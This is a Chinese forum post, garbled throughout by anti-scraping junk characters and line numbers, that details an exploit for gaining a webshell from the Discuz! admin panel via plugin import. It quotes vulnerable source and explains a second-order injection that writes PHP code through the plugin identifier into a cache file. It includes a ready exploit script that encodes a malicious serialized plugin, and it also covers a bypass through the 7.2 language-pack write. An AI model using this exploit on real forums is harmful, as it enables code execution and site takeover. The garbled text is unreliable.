趁着地球还没毁灭,赶紧放出来。
& j% b) P7 }% O+ \预祝"单恋一枝花"童鞋生日快乐。
) G R5 I9 d1 }4 C2 z9 d- H' v! k恭喜我的浩方Dota升到2级。
, z3 K3 a( f' `3 v& w# l4 }$ N希望世界和平。! p9 i& X( @+ x8 L
我不是标题党,你们敢踩我。敢踩我。。踩我。。。我……
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9 C% ^" o1 l& {( E4 ]1 o/ w既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。4 l1 V4 S9 N" f2 O7 Z* n
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一 Discuz! 6.0 和 Discuz! 7.0& M& E: d/ C3 |# @) B* t6 Q
既然要后台拿Shell,文件写入必看。; _9 M3 _ e/ {$ |7 S
$ v9 |/ q# d' A/ ~' B0 \/include/cache.func.php
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function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {
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global $authkey;
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if(is_array($cachenames) && !$cachedata) {; p$ k. ^4 a, P- G' C+ E; y9 ]
04
6 I: Y5 K# b+ N) {% {8 g3 _ foreach($cachenames as $name) {/ j! D9 @% s- G( g) [$ O/ V# T' O
05
* u) c0 u) Z1 h) _7 x/ e, o $cachedata .= getcachearray($name, $script);
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6 j; T( T9 i/ J, h }
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: Z" n; o8 O' W! u $dir = DISCUZ_ROOT.'./forumdata/cache/';4 I8 f% H5 z3 M, g6 h4 p% p) ^! L
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if(!is_dir($dir)) {
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4 }4 V f! ^. p) V; a$ t# H @mkdir($dir, 0777);
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2 i, h. e" N" q3 ]4 H5 e5 p4 H0 | if($fp = @fopen("$dir$prefix$script.php", 'wb')) {
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fwrite($fp, "<?php\n//Discuz! cache file, DO NOT modify me!".
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"\n//Created: ".date("M j, Y, G:i").0 s; K# ~5 Y2 B* P1 d
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"\n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."\n\n$cachedata?>");
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fclose($fp);4 y2 \ K5 ~' n9 t/ c9 L& m3 s
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} else {2 D6 s2 W; x g) c- d/ j9 s* {: x
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exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');* x: b ^% ~, J% a
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+ Z2 @# j' |# M- A/ Q5 z% ?* _( e: W往上翻,找到调用函数的地方.都在updatecache函数中./ y) }9 F; `. C( _- J& H3 a
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if(!$cachename || $cachename == 'plugins') {
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$query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");
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while($plugin = $db->fetch_array($query)) {8 d" j. e& @7 w
04
3 L. _- q5 j# s# Q# { $data = array_merge($plugin, array('modules' => array()), array('vars' => array()));; O. P$ t& c( Y, G2 x
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$plugin['modules'] = unserialize($plugin['modules']);$ Q5 ]) e$ t8 i/ o! p1 g
06
$ H: y# y+ |! T e+ Q8 X if(is_array($plugin['modules'])) {
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8 L1 H# C/ ]- Q1 j% m) T& F/ g foreach($plugin['modules'] as $module) {$ g) w5 ~9 h# S' N3 x
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$data['modules'][$module['name']] = $module;
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}) ^: ^! V W' v: i8 {& h5 u" H! }
10
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! o! A2 S$ d) f3 ]% M& w3 ~ $queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");( P1 A- b* @" J0 C5 t Y( K3 ]3 R
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while($var = $db->fetch_array($queryvars)) {! n6 [! l, u& N W$ P# t: c! ?5 {
13
3 _6 c+ S, R E* h* V4 C9 O) U $data['vars'][$var['variable']] = $var['value'];
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//注意- f' k/ N6 O3 _% M& h
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writetocache($plugin['identifier'], '', "\$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');8 W5 G) ^! B) K7 P
17
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}
: N* g$ U5 ~$ [" e) i如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.+ @6 o3 g- V( y, ^
去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.
& ^3 f/ t; D' g+ g( N6 f但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.. H- e, O, \1 ~( P8 ` a, V
; G' c+ x# d% g( V2 K/admin/plugins.inc.php
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if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
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) [! |7 Y$ b) B4 y$ M: h if(!$newname) {% |& ]5 M9 P9 Z3 u8 u7 o0 w
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cpmsg('plugins_edit_name_invalid');
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! D& ~0 y* |! X, h. `7 U8 D $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");
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1 w4 e6 ]$ ~% w2 `1 `9 w" j //下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符
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if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {$ u+ W6 @7 u; L \* d3 \2 F
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cpmsg('plugins_edit_identifier_invalid');
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% B( Y7 C5 U6 U }
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$db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
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//写入缓存文件9 r2 T+ r7 t! b
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updatecache('plugins');! E0 ^; A) s. c# @3 \% ]
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updatecache('settings');0 ~2 F7 @& h8 |/ r
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cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');
" x! C2 k" E4 v7 v- G k8 p还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.
+ V* V, B( ^0 k+ ?预览源代码打印关于; m- _2 o" J% H" n, }
01
" }2 _5 k$ H- M- P. \1 {9 k! r* ^elseif(submitcheck('importsubmit')) {
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8 F% J/ U1 b& ?! t" Q $plugindata = preg_replace("/(#.*\s+)*/", '', $plugindata);' I; F8 w* a& W$ l" E K
04
; t3 X& b! F6 N0 K# M8 Y1 M( c $pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
% F8 e: A( V4 `7 X3 E05
: a. I1 ?* y6 f2 D1 i3 @ //解码后没有判定% p8 r( |. E4 z7 e/ S" i% x
06
4 s M$ h4 c+ Y1 q) c if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {, z4 e5 R' v& i Y: `1 i
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cpmsg('plugins_import_data_invalid');! y0 `5 J4 m) r$ r5 q
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} elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
# I8 A- ~9 [& G" z09( \1 n2 x6 m% u' I( ~* _# \
cpmsg('plugins_import_version_invalid');9 [' A9 g) u- c3 f7 e
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}+ ]# a; |9 V1 K% x1 p) _
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" p# K1 f& b9 N $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");
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//判断是否重复,直接入库
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if($db->num_rows($query)) {
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( m" K$ ?$ P3 C6 s cpmsg('plugins_import_identifier_duplicated');
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$sql1 = $sql2 = $comma = '';
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# l9 {! H, Q) `" f foreach($pluginarray['plugin'] as $key => $val) {
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if($key == 'directory') {- {! r7 t* z6 o# `7 G
21
2 I/ A+ I* e' b, w8 l+ x //compatible for old versions
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$val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';
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}
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$sql1 .= $comma.$key;
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r+ ^7 N# c8 ?4 j z2 G, u $sql2 .= $comma.'\''.$val.'\'';
# A) I& ~% n# b3 i6 ~26/ L; y0 L) A+ h+ \8 ~
$comma = ','; D; A4 r6 S4 |8 m( Y* n
27
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288 H6 Y6 d: L& |+ L. {
$db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");
1 {% f( U( o6 U292 M% W. ~: I4 C" v/ I
$pluginid = $db->insert_id();. p+ U" { ^. ^5 d. m
30
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31
) s* p; \ K5 T foreach(array('hooks', 'vars') as $pluginconfig) {
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if(is_array($pluginarray[$pluginconfig])) {% E7 s2 ?1 E$ {( v9 z
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foreach($pluginarray[$pluginconfig] as $config) {4 n! B& K1 u' G* A
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$sql1 = 'pluginid';0 a- Z5 m0 W2 c. ~
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$sql2 = '\''.$pluginid.'\'';, m' v: @" o4 ~ Q8 ^' ?
36
! _, k2 m* G. K foreach($config as $key => $val) {6 y) K, }# G+ `, {1 z; Q
37
9 I& O+ g! Y) W. [- A6 [: ?* Y* D2 N7 m $sql1 .= ','.$key;8 ]6 p6 W: b0 V" i
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$sql2 .= ',\''.$val.'\'';
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}
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) N3 t' d( d+ c$ L( y6 e $db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");
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}
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" b) i5 Q. I# y5 g' Q0 E+ f8 V }45
6 t3 O+ c! ~6 y3 s/ Q- N updatecache('plugins');" N# y0 g% @! }& C
46
* _( p: s7 `/ n G, I/ j# ]6 p0 c1 `! C1 v updatecache('settings');. g |( v! @/ S6 }9 H @
47
% {% \5 G& Y) k: E+ |! y& w$ y4 Q( Q5 O cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');
6 b1 n4 l! l- L) ?4 {7 O0 `( S48
# q3 U7 y0 E, X
0 m: y' F( L% _3 I$ e: ?49
6 a( w/ I4 [: [* a5 Z }; B5 c2 n( A3 f6 P' g) f* [; W
随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用. q% ^3 y1 J: [! W; W9 {: e
/forumdata/cache/plugin_shell.php
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1 `: V) j1 B* G3 L" L- B/ _/ p! L<?php
5 v! V8 A) i4 n1 f, S6 c( i1 U02, V. y7 i: y# m' p! U
//Discuz! cache file, DO NOT modify me!: T$ |7 B8 ~9 d* H
03
0 @1 U. V5 b1 \1 Q! k//Created: Mar 17, 2011, 16:56
% |# b/ t1 P6 ?- ^$ v04, U4 z" u* w% R- N5 W
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
8 n. l' A/ f- b" R: A05
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06
, I0 Q* L) f- {3 e/ {; e. V$ e$_DPLUGIN['shell'] = array (, c/ I0 y9 s- U% Q2 f- Y+ {" q
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'pluginid' => '11',
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" l7 _- X) A/ `- H3 U$ r 'available' => '0',
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* H+ V$ L; _2 D. O" c2 n2 @ 'adminid' => '0',
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'name' => 'Getshell',
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'identifier' => 'shell',, O/ f# H& B5 r$ {) ]2 R
12
5 X; Q1 \4 Q# z5 r- G7 N 'datatables' => '', \9 s% f# z, l2 \% m
13
6 K- o6 ?, y& r 'directory' => '',
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'copyright' => '',* c9 M. k: z2 n- k" N6 m1 t) X/ j! y4 n
15
0 c8 C: S" y( b- q& W* V9 \3 g 'modules' =>& k' h1 M4 Z T: P- w. h+ W0 D
16
F3 ~& ~8 V7 P F! H array (
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),2 d- O. s* d& h, B
189 t4 K* i0 Q; A% o. l7 b
'vars' =>& @3 N) E2 g4 v7 v( G
19
* q7 o: ~5 S1 e% l, ~1 C array (: z3 c [, ?( E5 C
207 r0 |% {, U) ], p7 _
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21( D3 b' o5 |% S: {
)?>/ J9 G( r% R% `: h( m9 T
我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的., e! U" W5 t- {' a& ]
5 o3 ?0 ~: v6 e% [1 O2 h, B# d/forumdata/cache/plugin_a']=phpinfo();$a['a.php
/ x' j: @& w# J; s: E1 f) k01
& r8 [9 x$ d9 H8 ?<?php
1 z% c1 g" z7 Q( a4 O1 | U02
5 A4 {$ q1 _, Q- S# i& S6 E7 c: E I//Discuz! cache file, DO NOT modify me!
; i; } ?- D" o2 J7 K# J034 J- N. L, z# F/ U0 W. M# i; _
//Created: Mar 17, 2011, 16:56
) @& e& n) o$ `7 F z04: F: t! f/ m- x. I
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
5 Q5 T# ?# _* J) S% [/ l( y05* A* I+ N* C2 m2 Q( [
4 _4 f. U- z: v) V9 z+ n( W: c06; k& | o, Z9 ^+ `# o# K
$_DPLUGIN['a']=phpinfo();$a['a'] = array (0 y; ~ l1 W3 [# u+ e
07+ X9 Q/ s6 x+ ^$ j" G3 e
'pluginid' => '11',
; S7 \6 W8 l1 F1 z9 s089 A6 {, I' s" [0 D- K9 Z
'available' => '0',1 D+ ]7 J1 w Q3 y
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'adminid' => '0',* N9 ~6 A( @! s
102 f; v# A8 V5 U& o4 \8 J; t
'name' => 'Getshell',) p, _. P7 b+ Z
11
' `. z% p8 r/ ]4 ]5 A 'identifier' => 'shell',. n- L8 D# ~8 w7 v: z
12
7 A- O* q2 W6 |2 } 'datatables' => '',/ ^( z# U5 Z6 ]& @1 `
13
P/ }5 E: Y% [6 ]* P 'directory' => '',
% L: _2 [8 u1 O% v14+ @3 @" F+ A+ b- z0 ?
'copyright' => '',
]# q3 Q* p3 k: Z5 g( y15
) F1 s" m* n6 v+ L 'modules' =>: R( ?& m/ Q5 k, m4 G% a( g: g; |0 G
16
^" K, L- }3 o9 F6 k) P8 |- i7 ? array ($ q ?) v2 _) K: [2 ]9 J
175 B" c. Y' A9 ?( K7 T: Q: a
),
7 X" |5 d! d& q. L- S18+ p A+ z- `; x: A2 Z
'vars' =>8 j7 y+ z8 i- [- F
193 I3 s5 l& R9 Y0 n
array (. j2 m* y% W8 H" z
20
" ^ G o: e& t' ]# ^) }: a ),
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)?>% C( D4 e- F% W% u
最后是编码一次,给成Exp:
+ Z; Q+ o" V$ l6 |! [ X01* S9 A- y+ S2 ?- ], T) T% F2 m8 ]4 ?
<?php, N$ m& {- d7 Y# f# U
02. K, n- W& C9 {9 I; W6 G5 |9 m0 g
$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
$ S# o6 H3 q) i* Z& g* h/ n03
7 g: ^0 V2 j; S! l# T1 A% sIjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo/ T, S+ `9 d: }; G2 M
043 A: H) w+ Y, j9 N# W2 F; h
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj2 r1 t8 i F7 i, i2 e5 Y4 v
05; `# ?/ h) I8 W6 F# A% h
cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk65 F/ ^+ ?0 W) g9 t4 B
06
6 p* T2 r; u% X' s6 ?1 G6 k3 g" E7 vImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
2 b8 N1 Y6 F8 x8 [+ V1 K- y07
/ @! @- z/ b4 \' m3 a5 hOiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
; L3 b; H; ?0 }- ]# ^08
% r. \1 {- z. ufQ=="));$ I" {$ e( B% o, [5 d
09
! t ?( j8 }, {1 m//print_r($a);
! w- {" J4 f8 r( x& O! ?, M! v( h10 E! ^+ u# G8 H+ ]$ f+ F- _) ^1 ?9 t
$a['plugin']['name']='GetShell';' t$ d2 C+ V" g/ E( a) G' D" I
11
! D& `! n' T" B! G( ]$a['plugin']['identifier']='a\']=phpinfo();$a[\'';
# @: @) f7 K$ G# s% _ O3 Q1 v120 ^3 N1 ?+ H) n! @7 N! S
' x5 E2 ~6 r, C, L% q4 ] T13' o$ `' ]+ M" j$ i/ _9 a# p0 m
print(base64_encode(serialize($a)));5 _1 m1 x9 k) J! T
14
2 J5 l- H0 M. u?>
& w, C, `6 k. l: O7 g0 U ( G; Z- s2 ?6 H( D( I: _% R: Z
7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"' Z( Z) N5 y* v5 v
0 `1 \& r. T" V
二 Discuz! 7.2 和 Discuz! X1.5) O D1 Z, e, V
0 Q7 @( r7 |0 [: v
以下以7.2为例
9 q( N5 [ G1 z z `
6 c6 S6 g# e. J8 O) V/admin/plugins.inc.php; \2 U9 n$ y+ v; B4 n6 n* f
01
: [/ s$ r! I: P7 \2 B1 W* X- Helseif($operation == 'import') {) b* }3 T* f8 ?
02# S. b8 z/ u( a/ z2 {5 u
" o- y" O4 @; Q( h. a/ w. b9 N
039 G. F4 F6 t" G* P
if(!submitcheck('importsubmit') && !isset($dir)) {
' k! ]$ S' x/ c- G6 \046 p3 p' c' Y' w5 a
4 w; L- u1 t8 K: B- G3 m% c05
' V K' e3 F1 F0 {+ }1 u+ j* J /*未提交前表单神马的*/
6 a: T- E/ L" O- Q6 Q1 _& |063 b; t2 l2 @) i
1 O% }8 i1 F, U7 @
07& E, T$ U4 {6 E. d; v* \! f |
} else {
+ _5 I; s4 p# C: O0 l. o, o1 ^; i+ G08
8 \3 j& X6 M4 I# Z) O% O, a $ C6 V5 q9 ~: R
09$ ^' X3 G! R; l. @
if(!isset($dir)) {
) r/ ]4 ~# A L2 d10- W2 A9 ~4 p8 `1 M$ Z+ q
//导入数据解码
* L6 C+ b2 B3 s0 r6 _& F; M11
+ ?! P3 \3 b9 }9 H# w $pluginarray = getimportdata('Discuz! Plugin');+ V: t, R7 D' @. }
12
) u. g$ r3 E8 a } elseif(!isset($installtype)) {
2 k# e8 Q& K; M3 Z13
3 I9 U& O' s" X! g Z( u4 | | /*省略一部分*/
) b7 c+ g) Q1 c1 n143 ] ?+ }6 V S0 ?# v% a
}
. }) l* O8 A3 i. W8 v7 c15 `0 i( b9 ~. w) l
//判定你妹啊,两遍啊两遍: {* O/ y7 s: `
162 H* B! S7 |0 f, c
if(!ispluginkey($pluginarray['plugin']['identifier'])) {
2 F; t( g! v* u( F- p8 C17/ K" m& O: h t5 f G' m5 Y
cpmsg('plugins_edit_identifier_invalid', '', 'error');+ [# ~1 Y$ X3 b2 _. _3 [' \3 k
185 P: j# ~1 _3 c: }5 ^* n# i
}0 h+ v/ L! m6 X1 V/ k4 A: c
19# x8 H5 P* M `: Y k
if(!ispluginkey($pluginarray['plugin']['identifier'])) {5 o Q9 C, ?/ m0 i
20: U( L; f% R! ~4 N
cpmsg('plugins_edit_identifier_invalid', '', 'error');
0 m* s% ]# y: G c7 M21
! M$ e7 K2 q! m/ s }
6 |7 q. H# h# R& C* q3 n22, u: h4 i: H5 x5 S3 _- g
if(is_array($pluginarray['hooks'])) {
8 D( T8 {2 T1 C0 R I5 u7 R23
8 E0 T; F; b8 r) h0 C foreach($pluginarray['hooks'] as $config) {0 Q4 Z7 G1 |, ]7 {: C/ _
24- K" R# y ], U
if(!ispluginkey($config['title'])) {6 j8 ?4 `" f* t$ g
25' B, Y3 a9 f; s+ i
cpmsg('plugins_import_hooks_title_invalid', '', 'error');
' J" C x/ w/ ], U% {5 ~; t8 A26
- W$ k, f: Q- r) O4 O' i/ X" { }
% k# O; Z7 `3 t- H; `' S' Y27; A( ~, @1 G w( ^, T, k
}( d7 L# o( }) g: ~; G) Z
28
. n: H+ L, l" u: Y% k }3 R$ h8 [* Y' R2 i6 v# t1 `
29+ P& t$ P) |' [. _9 Q
if(is_array($pluginarray['vars'])) {! c# E' T0 \0 t
30, d0 m! H5 w8 [- b. o3 N+ g/ G
foreach($pluginarray['vars'] as $config) {! X# R F6 U' [! s5 x4 G7 K
31, \- O% f0 P. X* n8 a2 `
if(!ispluginkey($config['variable'])) {
5 L7 }0 b o; u: s: o( k# ~+ l' ^32$ z! q( |3 J, q) N% R- C) f5 b$ w
cpmsg('plugins_import_var_invalid', '', 'error');
/ a& U" n4 W& G7 C, `8 d5 F& N2 C33+ F6 g5 ]$ F- i4 r1 Y
}
5 i! S: X- R# X; H% I( ~3 U0 h34
! E, \$ s( C4 ~3 ^% Z }% c8 h: Y9 Q$ ~) y5 j8 t4 y
35
4 D9 r" h3 n3 L r# k7 A- @ }
+ E) m9 X! f" J- C: ]+ O4 w36
# k1 D) `8 B& \; b& S 1 J N0 _# |/ \; k& |
37
" A, q6 n7 g. F' ~7 b2 s3 j $langexists = FALSE;- |: g. Z8 g, L" ^4 d; a
384 l& m7 S* X \: e
//你有张良计,我有过墙梯
% {# P& @& Y, [" K) }7 k: ~' C399 ~# b, ?, B+ E- t0 p
if(!empty($pluginarray['language'])) {
7 j8 Z6 _ J! Q/ W: s40
; q! [! b3 f; V+ e* R& _) ^% u @mkdir('./forumdata/plugins/', 0777);) x( F6 J8 Z$ L; ^; h8 o
412 T+ `1 v& s' R+ F3 x% D5 Q" Z
$file = DISCUZ_ROOT.'./forumdata/plugins/'.$pluginarray['plugin']['identifier'].'.lang.php';) A8 v$ \! A2 ]/ {0 K/ t* [3 r1 W
42
4 u# Y a+ K ?2 \/ |/ A" s if($fp = @fopen($file, 'wb')) {
# j9 I W# c/ i# c. N% W& {43
" _2 V6 t- ^) D. X, S$ V $scriptlangstr = !empty($pluginarray['language']['scriptlang']) ? "\$scriptlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['scriptlang']) : '';
8 z/ \6 e# ~7 h4 O* L' U v44) O3 Z0 T/ \# h3 g2 d; O! d A
$templatelangstr = !empty($pluginarray['language']['templatelang']) ? "\$templatelang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['templatelang']) : '';! S8 [* I# }- `0 g `
45& z+ P: d5 [ a: X5 w& Y
$installlangstr = !empty($pluginarray['language']['installlang']) ? "\$installlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['installlang']) : '';
6 r( g( m& o7 E2 r+ ?6 l: _+ @9 ]( D462 C+ H/ u/ B% p) M( ~8 ]4 Q4 c6 x
fwrite($fp, "<?php\n".$scriptlangstr.$templatelangstr.$installlangstr.'?>');
: F+ F/ Q6 u7 k47/ f e; J6 T' z5 e" W, {4 b2 e
fclose($fp);
$ o @- i1 \. |; G48- L3 l5 c7 \0 u5 g- M% D" n
}
+ V" w& j0 Z9 y7 d" [8 I& o! c: |49
" L# z4 x7 E9 w% O `: A $langexists = TRUE;
' H9 y" q9 G/ L" Q" b& q: J50
1 v6 u6 [" Z+ h* T# ~ }, z. q+ \1 q3 v% P: S) R; a F
51; A: T+ G; v; O4 {5 `/ q/ T: \
* Q1 N5 x$ m1 F- ]# N
522 c1 e/ P5 l+ w2 L* _5 t
/*处理神马的*/
& t: I3 w1 o4 ?7 A/ E8 i* r% H53! K9 @- X5 \ [3 l4 {3 T& q3 K8 ^
updatecache('plugins');
# C7 ?- E! K% p54
^1 c- _# K- T5 l1 B updatecache('settings');
" e9 W$ _" ~% ^2 N+ t55
2 E! K8 P& A5 }6 U6 g# u4 p# C) } updatemenu();+ a2 n+ p/ Q4 ~- k. F S- S. q
56" \; Y6 M. w/ H3 R) N) Y& b0 B
5 E! o6 j3 b0 C& L+ G! g( R
57( ]; M3 S5 x2 Q4 t, k9 o
/*省略部分代码*/: z8 }* m. \0 h: T. Z' Z# Y
58+ y. b9 L8 w/ N8 B8 L6 K
5 Q1 k' J( n/ ~& b59
) j8 B# j" g2 c; b. E8 M' M}
/ Y% n W6 @2 D8 i先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.
! R8 G, _$ @+ F& r2 ^ z, Y/ E010 \& T, l) r% C' M7 K+ N
function getimportdata($name = '', $addslashes = 1, $ignoreerror = 0) {; _* f" V/ T9 b' [; z
02
: A# J6 B# O0 x) V8 O0 q5 T if($GLOBALS['importtype'] == 'file') {0 Z4 \! p2 A4 u# ^7 w: D
034 c- \4 ^3 P# B3 `% s [3 Q
$data = @implode('', file($_FILES['importfile']['tmp_name']));' h ?9 }% Y3 D6 \% K
04
9 q2 v& ]. }) x w4 J% z" j @unlink($_FILES['importfile']['tmp_name']);) N) ^! l& O G* y1 h
05
/ S5 B( p- }2 {- b+ b, V" `1 W6 | } else {
$ `7 D% x6 N; g/ A y. d+ `06
* u& k" l# |2 H6 e $data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];2 I8 x+ D, U. a! E( s
07
/ y- K8 _; w& @2 e: n5 V, ~ }
# o( B( r4 w0 |080 d/ [6 N* c0 r. [
include_once DISCUZ_ROOT.'./include/xml.class.php';: i' j3 u7 U: f
09/ X1 v+ O7 M+ x7 i$ L' \) @# n+ \9 h
$xmldata = xml2array($data);
! k6 }7 O/ [. W b10$ x% x9 ]) {+ H9 T! O2 F
if(!is_array($xmldata) || !$xmldata) {
A1 \: O* B1 B- B$ ~+ V& F8 q11
) S5 u, @5 }: ] \/ `//向下兼容
) o4 o, \" u( g5 G8 I$ F. \1 u12$ j- s( a# `; u0 g% _2 ~5 z( L
if($name && !strexists($data, '# '.$name)) {
$ H9 I2 l w0 c, f135 i' c+ R9 i8 y2 y" U8 H
if(!$ignoreerror) {* o6 k: {% d# j- b& ?2 ~: |
14
- Q; Y9 ?" O+ c$ t! |: f+ b cpmsg('import_data_typeinvalid', '', 'error');
" o/ I6 \- m/ `, l6 l15* T" F3 k# p) F$ Q
} else {
7 A8 k) u U+ U7 M. ^) |9 ~165 O& ^* f+ {, A8 {$ j$ m
return array();
' S* u( g. i& B# o: U4 ?172 x' h5 W( l% P
}
# V, f7 d9 U0 w" O% A) {, z18
% i8 v) W8 Q; P/ d) v9 j }
6 {1 {& S9 V, B8 A2 Y" W/ O193 W* Z4 C; k/ l
$data = preg_replace("/(#.*\s+)*/", '', $data);
5 f6 O8 E7 g) e: U2 [& V0 p20. d2 _' y: g) l( n
$data = unserialize(base64_decode($data));7 G" [( Z: s! g7 R4 u, s1 K
21- l6 o2 l8 P9 t: J! ]
if(!is_array($data) || !$data) {
$ ^* |7 }6 j, Z22; M: h. q% o, B9 p( }4 w
if(!$ignoreerror) {
/ t. m% m; N( H* e8 u" M/ e23! D2 z ~3 N6 W& ?
cpmsg('import_data_invalid', '', 'error');# r( l) h0 {# W3 [+ [8 M
24
5 U0 W) y2 e/ m, q } else {
' y# d9 c+ \0 n' [, z25( s; S' ]+ I! y9 W; ~8 T& }+ P
return array();" A& |9 [5 H+ S4 C
26
# I. Q0 d% w! ]& f( R }
6 P- x" G2 \( E- w' f1 g K% U27
3 H! d' t, w/ g: n6 O" H! r, w* { }
; Z; L& z. k1 t) j, D28) y% J w8 Y9 ?; K G: T
} else {3 c" ^2 b5 m( k4 n/ ~( O
29" j: A6 [+ A: Q, G& w
//XML解析
% W! }- r, V( d7 N. V2 n& k) {5 P2 }+ v30- N# v4 X. ]8 |. H
if($name && $name != $xmldata['Title']) {
y7 a4 o$ G- H* i3 g- t& r V4 D- R31! M3 Y& \! k g; s0 f5 f8 v
if(!$ignoreerror) {
1 _4 D" t6 |# g5 \0 b/ |: p32 h/ Q9 g, t- R* ]" R, b
cpmsg('import_data_typeinvalid', '', 'error');* S' |( B& r" U$ G9 m8 c& W9 x
33/ B( m* V( ~2 p
} else {
+ S5 h7 ]2 ^9 C/ n H3 d" F34+ l( J" B3 K& z! n4 y
return array();
) B( p% S7 G2 Q. S35
/ n+ r A) o1 W; x2 I1 l i }
$ x- h' n) C0 W) c8 s6 L1 K366 e" k5 d5 k) X2 D- J1 i, k* T5 ^
}
% G& s9 N; l# I9 ~6 f37" j9 ]4 H4 b2 G
$data = exportarray($xmldata['Data'], 0);
' D$ T" f6 H1 Q8 f k38: n) ?) v B, D3 U$ w: f
}8 N6 R2 b! O1 r" |
39% M; w( Q9 m) `# B
if($addslashes) {% L& J1 O/ _. K7 v1 V: }3 v
40* i" U- w) Y# h( Y8 u2 q' V& n
//daddslashes在两个版本的处理导致了Exp不能通用.
: r% m5 g5 p! Z7 ?- {# N$ G1 R41( c# }. d9 g# U
$data = daddslashes($data, 1);
5 o( v1 ^% t! N5 u42" ?3 X1 x! M. u+ ~
}
9 s4 A% s3 t1 U43
% W6 n) ?7 [& x+ f& @2 g* V F return $data;
6 m- ] ^: _, ]' z, i44 q# }& H& W" B8 o& t9 K# k
}2 ?# k6 w3 c- r) g
判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……' z' m- M: U7 }6 K% }
我们只要控制scriptlangstr或者其它任何一个就可以了。- h% F' W9 q0 Y& H
01/ ^: m& o' d) K V5 k- O
function langeval($array) {/ |7 ^4 {' B9 V9 h9 f" r" [
02
6 S/ I" V0 F6 D9 J% k $return = '';( `! H" l/ D7 L; p% _
031 @ r# |0 h( ^
foreach($array as $k => $v) {) c' }8 a6 j+ r; d5 N
040 d4 y# v. c" e" k1 p) l
//Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号
! ^9 x# H, a( @* ]+ z05; h5 ~4 k! C! g) A+ L! W$ K
$k = str_replace("'", '', $k);; |7 S, z4 X4 \3 {
067 r% r/ s9 n0 U& Q; Z8 X
//下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?
4 s. W" m- L1 b073 R7 b B% i# E6 J
$return .= "\t'$k' => '".str_replace(array("\\'", "'"), array("\\\'", "\'"), stripslashes($v))."',\n";, X6 k' d7 i5 S4 n
087 p! g6 x! h% O0 B7 F) q0 [
}/ T7 V( }, _4 ^
09' Z) w/ m; i1 V( h! n, e( B
return "array(\n$return);\n\n";
6 S: e* h `/ A! P7 t7 j10
0 C7 a: a' U, D/ a}
0 ]2 p2 n" ~6 ~6 N" fKey这里不通用.* X8 l/ C1 d: r
1 e+ G8 _3 o8 }* `" f/ W
7.2
( K( C; ]0 e6 @4 O0 h7 Q0 x011 m2 @5 R: d& p% t
function daddslashes($string, $force = 0) {0 h+ k1 {! j" H# m5 a p% G
02
# X9 t% ~& s( s; L( _0 N !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());! k O5 E% q( a- K. n5 @0 {2 _
03- V ^& R# C' d
if(!MAGIC_QUOTES_GPC || $force) {" u; A; @( `9 v% b- M, l6 D4 {
048 e1 J6 W1 e# }" S1 S. A
if(is_array($string)) {
) G* @+ ?6 F- T. C05# X0 R' {* j- A4 b
foreach($string as $key => $val) {; n; ?; s! f4 p2 {7 M6 Y
06
